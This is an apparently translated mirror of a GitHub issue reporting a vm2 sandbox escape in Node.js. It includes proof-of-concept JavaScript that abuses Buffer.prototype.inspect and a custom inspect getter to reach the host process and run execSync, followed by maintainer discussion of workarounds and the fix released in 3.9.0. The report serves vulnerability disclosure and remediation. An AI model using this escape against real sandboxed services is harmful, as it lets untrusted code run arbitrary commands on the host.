Vm2: 突破与检查

创建于 2020-03-01  ·  11评论  ·  资料来源: patriksimek/vm2

以下代码可用于转义vm,例如shell中的execute命令。
已经在此处的#187中进行了报告,它仍然可以在节点13.6.0和vm2 v3.8.4上运行

const {VM} = require('vm2');
const vm = new VM({
    wasm: false,
    timeout: 2000,
    sandbox: {},
    eval: false,
});

const malicious = '(' + function(){
    try { require('child_process').execSync("idea") } catch(e){}  // Not getting executed

    let buffer = {
        hexSlice: () => "",
        magic: {
            get [Symbol.for("nodejs.util.inspect.custom")](){
                throw f => f.constructor("return process")();
            }
        }
    };
    try{
        Buffer.prototype.inspect.call(buffer, 0, { customInspect: true });
    }catch(e){
        e(()=>0).mainModule.require('child_process').execSync("winver") // Actually opens winver
    }
}+')()';
vm.run(malicious)
bug confirmed

最有用的评论

@mxschmitt刚发布为3.9.0。 对不起,我很抱歉。

所有11条评论

@patriksimek此问题已在master中修复,但是此修复程序随附于https://github.com/patriksimek/vm2/pull/242 ,此版本在3.8.4之后。 因此mpn没有此修复程序。

它保持打开状态直到v3.8.5退出。

我们有ETA吗?

@ jan-osch由于@patriksimek似乎不活跃,所以我不知道。

@XmiliaH感谢您的回答和所有贡献!

您认为在我们发布更新版本之前,这种猴子修补的变通办法会阻止突破吗?

const vm = new NodeVM({
  console: 'off',
  sandbox: {
    console: consoleInterface,
    setTimeout,
    print,

    // TODO remove once vm2 fixed the breakout issue
    // Reference: https://github.com/patriksimek/vm2/issues/268
    Buffer: {
      ...Buffer,
      prototype: new Proxy(Buffer.prototype, {
        get(object, property) {
          if (property === 'inspect') {
            return () => {
              console.log('[BREAKOUT_ATTEMPT]'); // eslint-disable-line no-console
              consoleInterface.error('Nice try! This breakout attempt will be reported');
            };
          }
          return object[property];
        },
      }),
    },
  },
  require: { // here define modules that can be required
    builtin: [
      // some list
    ],
    external: [
      //...
    ],
  },
});

return vm.run(code, SCRIPT_PATH);

@ jan-osch那不是一个很好的灵魂:
1)它忘记了[Symbol.for(“ nodejs.util.inspect.custom”)]键。
2)它允许写入主机Buffer的原型。
3)问题是console.log也会触发此问题,您的解决方案对此无能为力。

不幸的是,没有简单的解决方案。

这是未经测试的临时hacky修复程序:

function hacky_fix(vm) {
    const internal = vm._internal;
    const old = internal.Decontextify.object;
    const handler = {__proto__: null};
    internal.Decontextify.object = (object, traps, deepTraps, flags, mock) => {
        const value = old(object, traps, deepTraps, flags, mock);
        const better = new Proxy(value, handler);
        internal.Decontextify.proxies.set(object, better);
        internal.Contextify.proxies.set(better, object);
        return better;
    };
}

它会修补内部功能,因此请谨慎使用。

谢谢@XmiliaH! 您是否知道有任何带有此类突破案例的测试套件的项目? 我想为我的CI添加一些突破测试,以作为预警系统

我们在test / vm.js中有一些测试用例。 只需搜索攻击,您就会找到案例。

友好的提醒@patriksimek如果您可以发布一个新版本,

@mxschmitt刚发布为3.9.0。 对不起,我很抱歉。

此页面是否有帮助?
0 / 5 - 0 等级

相关问题

wojpawlik picture wojpawlik  ·  4评论

KonradLinkowski picture KonradLinkowski  ·  10评论

patriksimek picture patriksimek  ·  15评论

vshymanskyy picture vshymanskyy  ·  8评论

patriksimek picture patriksimek  ·  5评论